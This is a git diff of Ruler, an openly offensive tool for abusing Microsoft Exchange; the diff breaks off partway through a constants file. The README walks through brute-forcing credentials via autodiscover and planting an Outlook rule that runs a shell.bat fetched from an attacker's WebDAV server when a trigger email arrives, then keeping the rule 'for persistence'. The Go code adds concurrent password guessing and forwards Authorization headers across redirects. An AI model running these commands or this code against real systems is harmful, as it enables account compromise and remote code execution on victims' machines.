diff --git a/.gitignore b/.gitignore index bb34c5a..4cef10e 100644 --- a/.gitignore +++ b/.gitignore @@ -25,3 +25,4 @@ _testmain.go ruler-* ruler +logs/ diff --git a/README.md b/README.md index 1cfd895..1c72d3e 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # Introduction -Ruler is a tool that allows you to interact with Exchange servers through the MAPI/HTTP protocol. The main aim is abuse the client-side Outlook mail rules as described in: [Silentbreak blog] +Ruler is a tool that allows you to interact with Exchange servers remotely, through either the MAPI/HTTP or RPC/HTTP protocol. The main aim is abuse the client-side Outlook mail rules as described in: [Silentbreak blog] Silentbreak did a great job with this attack and it has served us well. The only downside has been that it takes time to get setup. Cloning a mailbox into a new instance of Outlook can be time consuming. And then there is all the clicking it takes to get a mailrule created. Wouldn't the command line version of this attack be great? And that is how Ruler was born. @@ -43,6 +43,7 @@ git clone https://github.com/sensepost/ruler.git Ensure you have the dependencies (go get is the easiest option, otherwise clone the repos into your GOPATH): ``` go get github.com/urfave/cli +go get github.com/howeyc/gopass go get github.com/staaldraad/go-ntlm/ntlm ``` Then build it @@ -56,7 +57,7 @@ Compiled binaries for Linux, OSX and Windows are available. Find these in [Relea # Interacting with Exchange -~~It is important to note that for now this only works with the newer MAPI/HTTP used for OutlookAnywhere. The older RPC/HTTP which MAPI replaces is not supported and may possibly not be supported.~~ RPC/HTTP support has also been included, with Ruler favouring MAPI/HTTP. If MAPI/HTTP fails, an attempt will be made to use RPC/HTTP. You can also force RPC/HTTP by supplying the ```--rpc``` flag. +Ruler works with both RPC/HTTP and MAPI/HTTP. Ruler favours MAPI/HTTP as this is the default in Exchange 2016 and Office365 deployments. If MAPI/HTTP fails, an attempt will be made to use RPC/HTTP. You can also force RPC/HTTP by supplying the ```--rpc``` flag. As mentioned before there are multiple functions to Ruler. In most cases you'll want to first find a set of valid credentials. Do this however you wish, Phishing, Wifi+Mana or brute-force. @@ -68,6 +69,7 @@ Ruler has 5 basic commands, these are: * add -- add a rule * delete -- delete a rule * brute -- brute force credentials +* send -- send an email to trigger the shell * help -- show the help screen There are a few global flags that should be used with most commands, while each command has sub-flags. For details on these, use the **help** command. @@ -77,10 +79,10 @@ NAME: ruler - A tool to abuse Exchange Services USAGE: - ruler [global options] command [command options] [arguments...] + ruler-linux64 [global options] command [command options] [arguments...] VERSION: - 2.0 + 2.0.17 DESCRIPTION: _ @@ -89,35 +91,40 @@ DESCRIPTION: | | | |_| | | __/ | |_| \__,_|_|\___|_| -A tool by @sensepost to abuse Exchange Services. +A tool by @_staaldraad from @sensepost to abuse Exchange Services. AUTHOR: - Etienne Stalmans + Etienne Stalmans , @_staaldraad COMMANDS: - add, a add a new rule - delete, r delete an existing rule - display, d display all existing rules - check, c Check if the credentials work and we can interact with the mailbox - brute, b Do a bruteforce attack against the autodiscover service to find valid username/passwords - abk Interact with the Global Address Book - help, h Shows a list of commands or help for one command + add, a add a new rule + delete, r delete an existing rule + display, d display all existing rules + check, c Check if the credentials work and we can interact with the mailbox + send, s Send an email to trigger an existing rule. This uses the target user's own account. + brute, b Do a bruteforce attack against the autodiscover service to find valid username/passwords + abk Interact with the Global Address Book + troopers, t Troopers + help, h Shows a list of commands or help for one command GLOBAL OPTIONS: - --domain value, -d value A domain for the user (usually required for domain\username) - --username value, -u value A valid username - --password value, -p value A valid password - --hash value A NT hash for pass the hash (NTLMv1) - --email value, -e value The target's email address - --url value If you know the Autodiscover URL or the autodiscover service is failing. Requires full URI, https://autodisc.d.com/autodiscover/autodiscover.xml - --insecure, -k Ignore server SSL certificate errors - --encrypt Use NTLM auth on the RPC level - some environments require this - --basic, -b Force Basic authentication - --admin Login as an admin - --rpc Force RPC/HTTP rather than MAPI/HTTP - --verbose Be verbose and show some of thei inner workings - --help, -h show help - --version, -v print the version + --domain value, -d value A domain for the user (optional in most cases. Otherwise allows: domain\username) + --o365 We know the target is on Office365, so authenticate directly against that. + --username value, -u value A valid username + --password value, -p value A valid password + --hash value A NT hash for pass the hash + --email value, -e value The target's email address + --cookie value Any third party cookies such as SSO that are needed + --url value If you know the Autodiscover URL or the autodiscover service is failing. Requires full URI, https://autodisc.d.com/autodiscover/autodiscover.xml + --insecure, -k Ignore server SSL certificate errors + --encrypt Use NTLM auth on the RPC level - some environments require this + --basic, -b Force Basic authentication + --admin Login as an admin + --nocache Don't use the cached autodiscover record + --rpc Force RPC/HTTP rather than MAPI/HTTP + --verbose Be verbose and show some of thei inner workings + --help, -h show help + --version, -v print the version ``` ## Brute-force for credentials @@ -147,12 +154,6 @@ You should see your brute-force in action: [*] Multiple attempts. To prevent lockout - delaying for 0 minutes. [x] Failed: henry.hammond:Password1 [+] Success: cindy.baker:Password1 -[x] Failed: henry.hammond:Password!2016 -[*] Multiple attempts. To prevent lockout - delaying for 0 minutes. -[x] Failed: henry.hammond:SensePost1 -[x] Failed: henry.hammond:Lekker -[*] Multiple attempts. To prevent lockout - delaying for 0 minutes. -[x] Failed: henry.hammond:Eish ``` Alternatively, you can specify a userpass file with the ```--userpass``` option. The userpass file should be colon-delimited with one pair of credentials per line: @@ -188,7 +189,9 @@ While Ruler makes a best effort to "autodiscover" the necessary settings, you ma If you encounter an Exchange server where the Autodiscover service is failing, you can manually specify the Autodiscover URL: -``` ./ruler --url http://autodiscover.somedomain.com/autodiscover/autodiscover.xml ``` +``` +./ruler --url http://autodiscover.somedomain.com/autodiscover/autodiscover.xml +``` If you run into issues with Authentication (and you know the creds are correct), you can try and force the use of basic authentication with the global ```--basic``` @@ -217,9 +220,9 @@ Once you have a set of credentials you can target the user's mailbox. Here you'l ``` Output: + ``` ./ruler --username john.ford --password August2016 --email john.ford@evilcorp.ninja display - [*] Retrieving MAPI info [*] Doing Autodiscover for domain [+] MAPI URL found: https://mail.evilcorp.ninja/mapi/emsmdb/?MailboxId=7bb476d4-8e1f-4a57-bbd8-beac7912fb77@evilcorp.ninja @@ -229,24 +232,33 @@ Output: [*] Openning the Inbox [+] Retrieving Rules [+] Found 0 rules - ``` ## Delete existing rules (clean up after yourself) -To delete rules, use the ruleId displayed next to the rule name (000000df1) +To delete rules, use either the ruleId displayed next to the rule name (000000df1), or the rule name. You will be prompted to verify the rule being deleted if you supply only the name. + +``` +./ruler --email user@targetdomain.com --username username delete --id 000000df1 +``` ``` -./ruler --email user@targetdomain.com --username username --password password delete --id 000000df1 +./ruler --email user@targetdomain.com --username username delete --name myrule ``` + # Popping a shell -Now the fun part. Your initial setup is the same as outlined in the [Silentbreak blog], setup your webdav server to host your payload. +Now the fun part. Your initial setup is the same as outlined in the [Silentbreak blog], setup your webdav server to host your payload. A basic webdav server is included in this repostitory. This can be found [here](https://github.com/sensepost/ruler/blob/master/webdav/webdavserv.go). To use this, +``` +go run webdavserv.go -d /path/to/directory/to/serve +``` + +## Create a Rule To create the new rule user Ruler and: ``` -./ruler --email user@targetdomain.com --username username --password password add --location "\\\\yourserver\\webdav\\shell.bat" --trigger "pop a shell" --name maliciousrule +./ruler --email user@targetdomain.com --username username add --location "\\\\yourserver\\webdav\\shell.bat" --trigger "pop a shell" --name maliciousrule ``` The various parts: @@ -276,15 +288,10 @@ You should now be able to send an email to your target with the trigger string i If you want to automate the triggering of the rule, Ruler is able to create a new message in the user's inbox, using their own email address. This means you no longer need to send an email to your target. Simply use the ```--send``` flag when creating your rule, and Ruler will wait 30seconds for your rules to synchronise (adjust this in the source if you think 30s is too long/short) and then send an email via MAPI. +To customise the email sent with the ```--send``` flag, you can use ```--subject``` to specify a custom subject (remember to include your trigger word in the subject). Customise the body with ```--body``` + ``` -[*] Retrieving MAPI/HTTP info -[*] Doing Autodiscover for domain -[*] Autodiscover step 0 - URL: https://outlook.com/autodiscover/autodiscover.xml -[+] MAPI URL found: https://outlook.office365.com/mapi/emsmdb/?MailboxId=0003bffd-fef9-fb24-0000-000000000000@outlook.com -[+] User DN: /o=First Organization/ou=Exchange Administrative Group(FYDIBOHF23SPDLT)/cn=Recipients/cn=0003BFFDFEF9FB24 -[*] Got Context, Doing ROPLogin -[*] And we are authenticated -[*] Openning the Inbox +... [*] Adding Rule [*] Rule Added. Fetching list of rules... [+] Found 1 rules @@ -295,13 +302,16 @@ Rule: autopop RuleID: 010000000c4baa84 [*] And disconnecting from server ``` -Enjoy your shell and don't forget to clean-up after yourself by deleting the rule (or leave it for persistence). +If you want to send the email manually, using the targets own email address, you can also call the ```send``` command directly. + +``` +./ruler --email user@targetdomain.com send --subject test --body "this is a test" +``` -## A note about RPC +Enjoy your shell and don't forget to clean-up after yourself by deleting the rule (or leave it for persistence). -RPC/HTTP usually works through a RPC/HTTP proxy, this requires NTLM authentication. By default, Ruler takes care of this. There is however the option to have additional security enabled for Exchange, where Encryption and Integrity checking is enabled on RPC. This requires addional auth to happen on the RPC layer (inside the already NTLM authenticated HTTP channel). To force this, use the ```--encrypt``` flag. Ruler will try and warn you that this is required, if it is able to detect an issue. Alternatively just use this flag when in doubt. [Silentbreak blog]: [SensePost blog]: -[Ruler on YouTube]: +[Ruler on YouTube]: [Releases]: diff --git a/autodiscover/autodiscover.go b/autodiscover/autodiscover.go index 2471535..5ddc165 100644 --- a/autodiscover/autodiscover.go +++ b/autodiscover/autodiscover.go @@ -6,6 +6,8 @@ import ( "io/ioutil" "net" "net/http" + "net/url" + "os" "regexp" "strings" "text/template" @@ -53,19 +55,150 @@ func createAutodiscover(domain string, https bool) string { return fmt.Sprintf("http://%s/autodiscover/autodiscover.xml", domain) } +//GetMapiHTTP gets the details for MAPI/HTTP +func GetMapiHTTP(email, autoURLPtr string, resp *utils.AutodiscoverResp) (*utils.AutodiscoverResp, string, error) { + //var resp *utils.AutodiscoverResp + var err error + var rawAutodiscover string + + if autoURLPtr == "" && resp == nil { + utils.Info.Println("Retrieving MAPI/HTTP info") + //rather use the email address's domain here and --domain is the authentication domain + lastBin := strings.LastIndex(email, "@") + if lastBin == -1 { + return nil, "", fmt.Errorf("The supplied email address seems to be incorrect.\n%s", err) + } + maildomain := email[lastBin+1:] + resp, rawAutodiscover, err = MAPIDiscover(maildomain) + } else if resp == nil { + resp, rawAutodiscover, err = MAPIDiscover(autoURLPtr) + } + + if resp == nil || err != nil { + return nil, "", fmt.Errorf("The autodiscover service request did not complete.\n%s", err) + } + //check if the autodiscover service responded with an error + if resp.Response.Error != (utils.AutoError{}) { + return nil, "", fmt.Errorf("The autodiscover service responded with an error.\n%s", resp.Response.Error.Message) + } + return resp, rawAutodiscover, nil +} + +//GetRPCHTTP exports the RPC details for RPC/HTTP +func GetRPCHTTP(email, autoURLPtr string, resp *utils.AutodiscoverResp) (*utils.AutodiscoverResp, string, string, string, bool, error) { + //var resp *utils.AutodiscoverResp + var err error + var rawAutodiscover string + + if autoURLPtr == "" && resp == nil { + utils.Info.Println("Retrieving RPC/HTTP info") + //rather use the email address's domain here and --domain is the authentication domain + lastBin := strings.LastIndex(email, "@") + if lastBin == -1 { + return nil, "", "", "", false, fmt.Errorf("The supplied email address seems to be incorrect.\n%s", err) + } + maildomain := email[lastBin+1:] + resp, rawAutodiscover, err = Autodiscover(maildomain) + } else if resp == nil { + resp, rawAutodiscover, err = Autodiscover(autoURLPtr) + } + + if resp == nil || err != nil { + return nil, "", "", "", false, fmt.Errorf("The autodiscover service request did not complete.\n%s", err) + } + //check if the autodiscover service responded with an error + if resp.Response.Error != (utils.AutoError{}) { + return nil, "", "", "", false, fmt.Errorf("The autodiscover service responded with an error.\n%s", resp.Response.Error.Message) + } + + url := "" + user := "" + encrypt := false + for _, v := range resp.Response.Account.Protocol { + if v.Type == "EXPR" { + if v.SSL == "Off" { + url = "http://" + v.Server + } else { + url = "https://" + v.Server + } + if v.AuthPackage == "Ntlm" { //set the encryption on if the server specifies NTLM auth + encrypt = true + } + } + if v.Type == "EXCH" { + user = v.Server + } + } + RPCURL := fmt.Sprintf("%s/rpc/rpcproxy.dll?%s:6001", url, user) + + utils.Trace.Printf("RPC URL set: %s\n", RPCURL) + + return resp, rawAutodiscover, RPCURL, user, encrypt, nil +} + +//CheckCache checks to see if there is a stored copy of the autodiscover record +func CheckCache(email string) *utils.AutodiscoverResp { + //check the cache folder for a stored autodiscover record + email = strings.Replace(email, "@", "_", -1) + email = strings.Replace(email, ".", "_", -1) + path := fmt.Sprintf("./logs/%s.cache", email) + + if _, err := os.Stat(path); err != nil { + if os.IsNotExist(err) { + return nil + } + utils.Error.Println(err) + return nil + } + utils.Info.Println("Found cached Autodiscover record. Using this (use --nocache to force new lookup)") + data, err := ioutil.ReadFile(path) + if err != nil { + utils.Error.Println("Error reading stored record ", err) + return nil + } + autodiscoverResp := utils.AutodiscoverResp{} + autodiscoverResp.Unmarshal(data) + return &autodiscoverResp +} + +//CreateCache function stores the raw autodiscover record to file +func CreateCache(email, autodiscover string) { + + if autodiscover == "" { //no autodiscover record passed in, don't try write + return + } + email = strings.Replace(email, "@", "_", -1) + email = strings.Replace(email, ".", "_", -1) + path := fmt.Sprintf("./logs/%s.cache", email) + if _, err := os.Stat("./logs"); err != nil { + if os.IsNotExist(err) { + //create the logs directory + if err := os.MkdirAll("./logs", 0711); err != nil { + utils.Error.Println("Couldn't create a cache directory") + } + //return nil + } + } + fout, _ := os.OpenFile(path, os.O_CREATE|os.O_WRONLY, 0666) + _, err := fout.WriteString(autodiscover) + if err != nil { + utils.Error.Println("Couldn't write to file for some reason..", err) + } +} + //Autodiscover function to retrieve mailbox details using the autodiscover mechanism from MS Exchange -func Autodiscover(domain string) (*utils.AutodiscoverResp, error) { +func Autodiscover(domain string) (*utils.AutodiscoverResp, string, error) { return autodiscover(domain, false) } //MAPIDiscover function to do the autodiscover request but specify the MAPI header //indicating that the MAPI end-points should be returned -func MAPIDiscover(domain string) (*utils.AutodiscoverResp, error) { - fmt.Println("[*] Doing Autodiscover for domain") +func MAPIDiscover(domain string) (*utils.AutodiscoverResp, string, error) { + //fmt.Println("Doing Autodiscover for domain") return autodiscover(domain, true) } -func autodiscover(domain string, mapi bool) (*utils.AutodiscoverResp, error) { +func autodiscover(domain string, mapi bool) (*utils.AutodiscoverResp, string, error) { //replace Email with the email from the config r, _ := parseTemplate(autodiscoverXML) autodiscoverResp := utils.AutodiscoverResp{} @@ -110,15 +243,16 @@ func autodiscover(domain string, mapi bool) (*utils.AutodiscoverResp, error) { if autodiscoverStep == 2 { autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), false) if autodiscoverURL == "" { - return nil, fmt.Errorf("[x] Invalid domain or no autodiscover DNS record found") + return nil, "", fmt.Errorf("Invalid domain or no autodiscover DNS record found") } } } - if SessionConfig.Verbose == true { - fmt.Printf("[*] Autodiscover step %d - URL: %s\n", autodiscoverStep, autodiscoverURL) - } + + utils.Trace.Printf("Autodiscover step %d - URL: %s\n", autodiscoverStep, autodiscoverURL) + req, err := http.NewRequest("POST", autodiscoverURL, strings.NewReader(r)) req.Header.Add("Content-Type", "text/xml") + req.Header.Add("User-Agent", "ruler") if mapi == true { req.Header.Add("X-MapiHttpCapability", "1") //we want MAPI info @@ -138,10 +272,10 @@ func autodiscover(domain string, mapi bool) (*utils.AutodiscoverResp, error) { if err != nil { //check if this error was because of ntml auth when basic auth was expected. if m, _ := regexp.Match("illegal base64", []byte(err.Error())); m == true { - client = http.Client{} + client = http.Client{Transport: InsecureRedirects{}} resp, err = client.Do(req) if err != nil { - return nil, err + return nil, "", err } } else { if autodiscoverStep < 2 { @@ -150,7 +284,7 @@ func autodiscover(domain string, mapi bool) (*utils.AutodiscoverResp, error) { } //we've done all three steps of autodiscover and all three failed - return nil, err + return nil, "", err } } @@ -158,7 +292,7 @@ func autodiscover(domain string, mapi bool) (*utils.AutodiscoverResp, error) { body, err := ioutil.ReadAll(resp.Body) if err != nil { - return nil, err + return nil, "", err } //check if we got a 200 response @@ -166,53 +300,63 @@ func autodiscover(domain string, mapi bool) (*utils.AutodiscoverResp, error) { err := autodiscoverResp.Unmarshal(body) if err != nil { + if SessionConfig.Verbose == true { + utils.Error.Printf("%s\n", err) + } if autodiscoverStep < 2 { autodiscoverStep++ return autodiscover(domain, mapi) } - return nil, fmt.Errorf("[x] Error in autodiscover response, %s", err) + return nil, "", fmt.Errorf("Error in autodiscover response, %s", err) } SessionConfig.NTLMAuth = req.Header.Get("Authorization") if SessionConfig.Verbose == true { - fmt.Println(string(body)) + //fmt.Println(string(body)) } //check if we got a RedirectAddr , //if yes, get the new autodiscover url if autodiscoverResp.Response.Account.Action == "redirectAddr" { rediraddr := autodiscoverResp.Response.Account.RedirectAddr redirAddrs := strings.Split(rediraddr, "@") //regexp.MustCompile(".*@").Split(rediraddr, 2) - //fmt.Printf("secondary email: %s\n", redirAddrs) + secondaryEmail = fmt.Sprintf("%s@%s", redirAddrs[0], domain) red, err := redirectAutodiscover(redirAddrs[1]) if err != nil { - return nil, err + return nil, "", err } return autodiscover(red, mapi) } - return &autodiscoverResp, nil + return &autodiscoverResp, string(body), nil } + if resp.StatusCode == 401 || resp.StatusCode == 403 || resp.StatusCode == 404 { //for office365 we might need to use a different email address, try this if resp.StatusCode == 401 && secondaryEmail != "" { - fmt.Printf("[*] Authentication failed with primary email, trying secondary email [%s]\n", secondaryEmail) + utils.Trace.Printf("Authentication failed with primary email, trying secondary email [%s]\n", secondaryEmail) SessionConfig.Email = secondaryEmail return autodiscover(domain, mapi) } + if SessionConfig.Verbose == true { + utils.Error.Printf("Failed, StatusCode [%d]\n", resp.StatusCode) + } if autodiscoverStep < 2 { autodiscoverStep++ return autodiscover(domain, mapi) } - return nil, fmt.Errorf("[x] Permission Denied or URL not found: StatusCode [%d]\n", resp.StatusCode) + return nil, "", fmt.Errorf("Permission Denied or URL not found: StatusCode [%d]\n", resp.StatusCode) + } + if SessionConfig.Verbose == true { + utils.Error.Printf("Failed, StatusCode [%d]\n", resp.StatusCode) } if autodiscoverStep < 2 { autodiscoverStep++ return autodiscover(domain, mapi) } - return nil, fmt.Errorf("[x] Got an unexpected result: StatusCode [%d] %s\n", resp.StatusCode, body) + return nil, "", fmt.Errorf("Got an unexpected result: StatusCode [%d] %s\n", resp.StatusCode, body) } func redirectAutodiscover(redirdom string) (string, error) { - fmt.Printf("[*] Redirected with new address [%s]\n", redirdom) + utils.Trace.Printf("Redirected with new address [%s]\n", redirdom) //create the autodiscover url autodiscoverURL := fmt.Sprintf("http://autodiscover.%s/autodiscover/autodiscover.xml", redirdom) req, _ := http.NewRequest("GET", autodiscoverURL, nil) @@ -222,7 +366,49 @@ func redirectAutodiscover(redirdom string) (string, error) { return "", err } defer resp.Body.Close() - fmt.Printf("[*] Authenticating through: %s\n", string(resp.Header.Get("Location"))) + utils.Trace.Printf("Authenticating through: %s\n", string(resp.Header.Get("Location"))) //return the new autodiscover server location return resp.Header.Get("Location"), nil } + +//InsecureRedirects allows forwarding the Authorization header even when we shouldn't +type InsecureRedirects struct { + Transport http.RoundTripper +} + +//RoundTrip custom redirector that allows us to forward the auth header, even when the domain changes. +//This is needed as some office365 domains will redirect from autodiscover.domain.com to autodiscover.outlook.com +//and Go does not forward Sensitive headers such as Authorization (https://golang.org/src/net/http/client.go#41) +func (l InsecureRedirects) RoundTrip(req *http.Request) (resp *http.Response, err error) { + t := l.Transport + if t == nil { + t = http.DefaultTransport + } + resp, err = t.RoundTrip(req) + if err != nil { + return + } + switch resp.StatusCode { + case http.StatusMovedPermanently, http.StatusFound, http.StatusSeeOther, http.StatusTemporaryRedirect: + + utils.Trace.Printf("Request for %s redirected. Following to %s\n", req.URL, resp.Header.Get("Location")) + + URL, _ := url.Parse(resp.Header.Get("Location")) + r, _ := parseTemplate(autodiscoverXML) + //if the domains are different, we need to force the auth cookie to be passed along.. this is for redirects to office365 + client := http.Client{} + req, err = http.NewRequest("POST", URL.String(), strings.NewReader(r)) + req.Header.Add("Content-Type", "text/xml") + req.Header.Add("User-Agent", "ruler") + + req.Header.Add("X-MapiHttpCapability", "1") //we want MAPI info + req.Header.Add("X-AnchorMailbox", SessionConfig.Email) //we want MAPI info + + req.URL, _ = url.Parse(resp.Header.Get("Location")) + req.SetBasicAuth(SessionConfig.Email, SessionConfig.Pass) + + resp, err = client.Do(req) + + } + return +} diff --git a/autodiscover/brute.go b/autodiscover/brute.go index 1f9931e..18ebfcf 100644 --- a/autodiscover/brute.go +++ b/autodiscover/brute.go @@ -4,14 +4,16 @@ import ( "fmt" "io/ioutil" "net/http" - "net/http/cookiejar" + "net/http/cookiejar" "regexp" "strings" "time" "github.com/sensepost/ruler/http-ntlm" + "github.com/sensepost/ruler/utils" ) +//Result struct holds the result of a bruteforce attempt type Result struct { Username string Password string @@ -20,7 +22,7 @@ type Result struct { Error error } -//var autodiscoverStep int = 0 +var concurrency = 5 //limit the number of consecutive attempts func autodiscoverDomain(domain string) string { var autodiscoverURL string @@ -50,7 +52,7 @@ func autodiscoverDomain(domain string) string { } } - fmt.Printf("[*] Autodiscover step %d - URL: %s\n", autodiscoverStep, autodiscoverURL) + utils.Trace.Printf("Autodiscover step %d - URL: %s\n", autodiscoverStep, autodiscoverURL) req, err := http.NewRequest("GET", autodiscoverURL, nil) req.Header.Add("Content-Type", "text/xml") @@ -78,7 +80,7 @@ func autodiscoverDomain(domain string) string { //BruteForce function takes a domain/URL, file path to users and filepath to passwords whether to use BASIC auth and to trust insecure SSL //And whether to stop on success func BruteForce(domain, usersFile, passwordsFile string, basic, insecure, stopSuccess, verbose bool, consc, delay int) { - fmt.Println("[*] Trying to Autodiscover domain") + utils.Info.Println("[*] Trying to Autodiscover domain") autodiscoverURL := autodiscoverDomain(domain) if autodiscoverURL == "" { @@ -93,56 +95,63 @@ func BruteForce(domain, usersFile, passwordsFile string, basic, insecure, stopSu return } - result := make(chan Result) - count := 0 attempts := 0 + stp := false for _, p := range passwords { if p != "" { attempts++ } - count = 0 + sem := make(chan bool, concurrency) + for ui, u := range usernames { if u == "" || p == "" { continue } - count++ + + sem <- true + go func(u string, p string, i int) { + defer func() { <-sem }() out := connect(autodiscoverURL, u, p, basic, insecure) out.Index = i - result <- out - }(u, p, ui) - } - for i := 0; i < count; i++ { - select { - case res := <-result: - if verbose == true && res.Status != 200 { - fmt.Printf("[x] Failed: %s:%s\n", res.Username, res.Password) - if res.Error != nil { - fmt.Printf("[x] An error occured in connection - %s\n", res.Error) + if verbose == true && out.Status != 200 { + utils.Fail.Printf("Failed: %s:%s\n", out.Username, out.Password) + if out.Error != nil { + utils.Error.Printf("An error occured in connection - %s\n", out.Error) } } - if res.Status == 200 { - fmt.Printf("\033[96m[+] Success: %s:%s\033[0m\n", res.Username, res.Password) + if out.Status == 200 { + utils.Info.Printf("\033[96mSuccess: %s:%s\033[0m\n", out.Username, out.Password) //remove username from username list (we don't need to brute something we know) - usernames = append(usernames[:res.Index], usernames[res.Index+1:]...) - } - if stopSuccess == true && res.Status == 200 { - return + usernames = append(usernames[:out.Index], usernames[out.Index+1:]...) + if stopSuccess == true { + stp = true + + } } - } + }(u, p, ui) + + } + if stp == true { + return } + for i := 0; i < cap(sem); i++ { + sem <- true + } + if attempts == consc { - fmt.Printf("\033[31m[*] Multiple attempts. To prevent lockout - delaying for %d minutes.\033[0m\n", delay) + utils.Info.Printf("\033[31m[*] Multiple attempts. To prevent lockout - delaying for %d minutes.\033[0m\n", delay) time.Sleep(time.Minute * (time.Duration)(delay)) attempts = 0 } } } +//UserPassBruteForce function does a bruteforce using a supplied user:pass file func UserPassBruteForce(domain, userpassFile string, basic, insecure, stopSuccess, verbose bool, consc, delay int) { - fmt.Println("[*] Trying to Autodiscover domain") + utils.Info.Println("[*] Trying to Autodiscover domain") autodiscoverURL := autodiscoverDomain(domain) if autodiscoverURL == "" { @@ -153,9 +162,9 @@ func UserPassBruteForce(domain, userpassFile string, basic, insecure, stopSucces return } - result := make(chan Result) count := 0 - + sem := make(chan bool, concurrency) + stp := false for _, up := range userpass { count++ if up == "" { @@ -164,7 +173,7 @@ func UserPassBruteForce(domain, userpassFile string, basic, insecure, stopSucces // verify colon-delimited username:password format s := strings.SplitN(up, ":", 2) if len(s) < 2 { - fmt.Printf("[!] Skipping improperly formatted entry in %s:%d\n", userpassFile, count) + utils.Fail.Printf("[!] Skipping improperly formatted entry in %s:%d\n", userpassFile, count) continue } u, p := s[0], s[1] @@ -175,26 +184,31 @@ func UserPassBruteForce(domain, userpassFile string, basic, insecure, stopSucces continue } + sem <- true + go func(u string, p string) { + defer func() { <-sem }() out := connect(autodiscoverURL, u, p, basic, insecure) - result <- out - }(u, p) - - select { - case res := <-result: - if verbose == true && res.Status != 200 { - fmt.Printf("[x] Failed: %s:%s\n", res.Username, res.Password) - if res.Error != nil { - fmt.Printf("[x] An error occured in connection - %s\n", res.Error) + if verbose == true && out.Status != 200 { + utils.Fail.Printf("Failed: %s:%s\n", out.Username, out.Password) + if out.Error != nil { + utils.Error.Printf("An error occured in connection - %s\n", out.Error) } } - if res.Status == 200 { - fmt.Printf("\033[96m[+] Success: %s:%s\033[0m\n", res.Username, res.Password) + if out.Status == 200 { + utils.Info.Printf("\033[96mSuccess: %s:%s\033[0m\n", out.Username, out.Password) } - if stopSuccess == true && res.Status == 200 { - return + if out.Status == 200 && stopSuccess == true { + stp = true } - } + }(u, p) + + } + if stp == true { + return + } + for i := 0; i < cap(sem); i++ { + sem <- true } } @@ -203,7 +217,7 @@ func readFile(filename string) []string { data, err := ioutil.ReadFile(filename) if err != nil { - fmt.Println("Input file not found") + utils.Error.Println("Input file not found") return nil } @@ -215,18 +229,19 @@ func readFile(filename string) []string { func connect(autodiscoverURL, user, password string, basic, insecure bool) Result { result := Result{user, password, -1, -1, nil} - cookie, _ := cookiejar.New(nil) + + cookie, _ := cookiejar.New(nil) client := http.Client{} if basic == false { //check if this is a first request or a redirect //create an ntml http client client = http.Client{ Transport: &httpntlm.NtlmTransport{ - Domain: "", - User: user, - Password: password, - Insecure: insecure, - CookieJar: cookie, + Domain: "", + User: user, + Password: password, + Insecure: insecure, + CookieJar: cookie, }, } } @@ -254,6 +269,7 @@ func connect(autodiscoverURL, user, password string, basic, insecure bool) Resul } defer resp.Body.Close() + result.Status = resp.StatusCode return result } diff --git a/http-ntlm/ntlmtransport.go b/http-ntlm/ntlmtransport.go index efb29b3..97d0edd 100644 --- a/http-ntlm/ntlmtransport.go +++ b/http-ntlm/ntlmtransport.go @@ -54,7 +54,8 @@ func (t NtlmTransport) RoundTrip(req *http.Request) (res *http.Response, err err TLSClientConfig: &tls.Config{InsecureSkipVerify: t.Insecure}, } - client := http.Client{Transport: tr, Timeout: time.Minute * 2, Jar: t.CookieJar} + client := http.Client{Transport: tr, Timeout: time.Minute, Jar: t.CookieJar} + resp, err := client.Do(r) if err != nil { diff --git a/mapi/constants.go b/mapi/constants.go index 67653c0..0a63458 100644 --- a/mapi/constants.go +++ b/mapi/constants.go @@ -1,6 +1,40 @@ package mapi -import "github.com/sensepost/ruler/utils" +import ( + "errors" + "fmt" + + "github.com/sensepost/ruler/utils" +) + +//ErrorCode returns the mapi error code encountered +type ErrorCode struct { + ErrorCode uint32 +} + +func (e *ErrorCode) Error() string { + return fmt.Sprintf("mapi: non-zero return value. ERROR_CODE: %x - %s", e.ErrorCode, ErrorMapiCode{mapicode(e.ErrorCode)}) +} + +//TransportError returns the mapi error code encountered +type TransportError struct { + ErrorValue error +} + +func (e *TransportError) Error() string { + return fmt.Sprintf("mapi: a transport layer error occurred. %s", e.ErrorValue) +} + +var ( + //ErrTransport for when errors occurr on the transport layer + ErrTransport = errors.New("mapi: a transport layer error occurred") + //ErrMapiNonZero for non-zero return code in a MAPI request + ErrMapiNonZero = errors.New("mapi: non-zero return value") + //ErrUnknown hmm, we didn't account for this + ErrUnknown = errors.New("mapi: an unhandled exception occurred") + //ErrNotAdmin when attempting to get admin access to a mailbox + ErrNotAdmin = errors.New("mapi: Invalid logon. Admin privileges requested but user is not admin") +) const ( uFlagsUser = 0x00000000 @@ -70,6 +104,275 @@ const ( MSRemoteDelete = 0x00002000 ) +type mapicode uint32 + +func (e mapicode) String() string { + switch e { + case MAPI_E_INTERFACE_NOT_SUPPORTED: + return "MAPI_E_INTERFACE_NOT_SUPPORTED" + case MAPI_E_CALL_FAILED: + return "MAPI_E_CALL_FAILED" + case MAPI_E_NO_ACCESS: + return "MAPI_E_NO_ACCESS" + case MAPI_E_NOT_ENOUGH_MEMORY: + return "MAPI_E_NOT_ENOUGH_MEMORY" + case MAPI_E_INVALID_PARAMETER: + return "MAPI_E_INVALID_PARAMETER" + case MAPI_E_NO_SUPPORT: + return "MAPI_E_NO_SUPPORT" + case MAPI_E_BAD_CHARWIDTH: + return "MAPI_E_BAD_CHARWIDTH" + case MAPI_E_STRING_TOO_LONG: + return "MAPI_E_STRING_TOO_LONG" + case MAPI_E_UNKNOWN_FLAGS: + return "MAPI_E_UNKNOWN_FLAGS" + case MAPI_E_INVALID_ENTRYID: + return "MAPI_E_INVALID_ENTRYID" + case MAPI_E_INVALID_OBJECT: + return "MAPI_E_INVALID_OBJECT" + case MAPI_E_OBJECT_CHANGED: + return "MAPI_E_OBJECT_CHANGED" + case MAPI_E_OBJECT_DELETED: + return "MAPI_E_OBJECT_DELETED" + case MAPI_E_BUSY: + return "MAPI_E_BUSY" + case MAPI_E_NOT_ENOUGH_DISK: + return "MAPI_E_NOT_ENOUGH_DISK" + case MAPI_E_NOT_ENOUGH_RESOURCES: + return "MAPI_E_NOT_ENOUGH_RESOURCES" + case MAPI_E_NOT_FOUND: + return "MAPI_E_NOT_FOUND" + case MAPI_E_VERSION: + return "MAPI_E_VERSION" + case MAPI_E_LOGON_FAILED: + return "MAPI_E_LOGON_FAILED" + case MAPI_E_SESSION_LIMIT: + return "MAPI_E_SESSION_LIMIT" + case 